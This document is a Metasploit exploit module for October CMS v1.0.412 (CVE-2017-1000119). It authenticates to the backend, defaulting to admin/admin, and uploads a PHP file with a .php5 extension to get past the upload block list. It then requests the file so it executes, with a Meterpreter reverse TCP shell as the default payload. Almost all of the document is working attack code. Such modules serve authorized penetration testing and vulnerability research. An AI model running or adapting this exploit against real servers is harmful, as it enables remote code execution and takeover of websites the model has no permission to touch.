October CMS - Upload Protection Bypass Code Execution (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'October CMS Upload Protection Bypass Code Execution',
      'Description' => %q{
          This module exploits an Authenticated user with permission to upload and manage media contents can
          upload various files on the server. Application prevents the user from
          uploading PHP code by checking the file extension. It uses black-list based
          approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
          Definitions.php:blockedExtensions().
          This module was tested on October CMS version v1.0.412 on Ubuntu.
      },
      'Author' =>
        [
          'Anti Räis', # Discovery
          'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module
          'SecureLayer7.net' # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['EDB','41936'],
          ['URL','https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html'],
          ['CVE','2017-1000119']
        ],
      'DefaultOptions' =>
        {
          'SSL'     => false,
          'PAYLOAD' => 'php/meterpreter/reverse_tcp',
          'ENCODER' => 'php/base64',
        },
      'Privileged' => false,
      'Platform'   => ['php'],
      'Arch'       => ARCH_PHP,
      'Targets' =>
        [
          [ 'October CMS v1.0.412', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 25 2017'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base October CMS directory path", '/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
        OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin'])
      ])
  end

  def uri
    return target_uri.path
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(uri, 'modules', 'system', 'assets', 'js', 'framework.js')
      })
    rescue
      vprint_error('Unable to access the /assets/js/framework.js file')
      return CheckCode::Unknown
    end

    if res && res.code == 200
      return Exploit::CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def login
    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'),
      'method' => 'GET'
    })

    if res.nil?
      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end

    /name="_session_key" type="hidden" value="(?<session>[A-Za-z0-9"]+)">/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine Session Key") if session.nil?

    /name="_token" type="hidden" value="(?<token>[A-Za-z0-9"]+)">/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine token") if token.nil?
    vprint_good("Token for login : #{token}")
    vprint_good("Session Key for login : #{session}")

    cookies = res.get_cookies
    vprint_status('Trying to Login ......')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'),
      'cookie' => cookies,
      'vars_post' => Hash[{
        '_session_key' => session,
        '_token' => token,
        'postback' => '1',
        'login' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }.to_a.shuffle]
    })

    fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?

    # if we redirect. then we assume we have authenticated cookie.
    if res.code == 302
      print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
      return cookies
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
    end
  end


  def exploit
    cookies = login

    evil = "<?php #{payload.encoded} ?>"
    payload_name = "#{rand_text_alpha(8..13)}.php5"

    post_data = Rex::MIME::Message.new
    post_data.add_part("/", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="path"')
    post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}")  #payload
    data = post_data.to_s

    register_files_for_cleanup(payload_name)
    vprint_status("Trying to upload malicious #{payload_name} file ....")
    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'backend', 'cms', 'media'),
      'method' => 'POST',
      'cookie' => cookies,
      'headers' => { 'X-OCTOBER-FILEUPLOAD' => 'MediaManager-manager' },
      'Connection' => 'close',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    send_request_cgi({
      'uri' => normalize_uri(uri, 'storage', 'app', 'media', payload_name),
      'method' => 'GET'
    })
  end
end

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